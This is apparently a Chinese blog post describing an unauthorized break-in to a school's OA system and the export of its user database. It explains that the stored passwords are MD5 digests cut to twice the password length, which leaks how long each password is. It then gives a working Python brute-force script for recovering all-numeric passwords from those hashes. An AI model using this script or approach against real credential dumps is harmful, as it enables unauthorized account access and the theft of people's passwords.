一次偶然的hacking让我拿到了学校的OA数据库,导出为xls后发现里面的密码全是加密的。看似MD5加密但发现密文长短不一,于是我用md5加密了123123(OA的默认密码)作为样例来分析OA的算法。

OA的算法是这样的

明文 123123
正常的MD5(32位) 4297f44b13955235245b2497399d7a93
学校的MD5畸形加密(12位) 4297f44b1395

经过多组测试发现,OA算法是 密文 = 取前明文长度的2倍位(32位MD5加密(明文))

知道算法了就能写一个python脚本来逆出纯数字的密码了(不以时间为代价,理论上KO一切纯数字密码)

password.py
import hashlib
 
pwd1 = raw_input()
p = 0
length = len(pwd1) / 2
for num in range(0,10 ** length):
        i = length - len(str(num))
        pwd2 = ''
        while i > 0:
                pwd2 = pwd2 + "0"
                i = i -1
        pwd2 = pwd2 + str(num)
        print pwd2
        m = hashlib.md5()
        m.update(pwd2)
        pwd = m.hexdigest()
        pwd = pwd[:length * 2]
        print pwd
        if pwd == pwd1:
                p = 1
                break
if p == 1:
        print 'Cracked successfully','Password',pwd2
else:
        print 'Cracked Failed'

尽管学校的OA为了密文不被网上那些解密引擎方便的解开采用畸形的MD5加密方式,但是同时也暴露了明文密码本身的长度,这就是逆向者的突破口。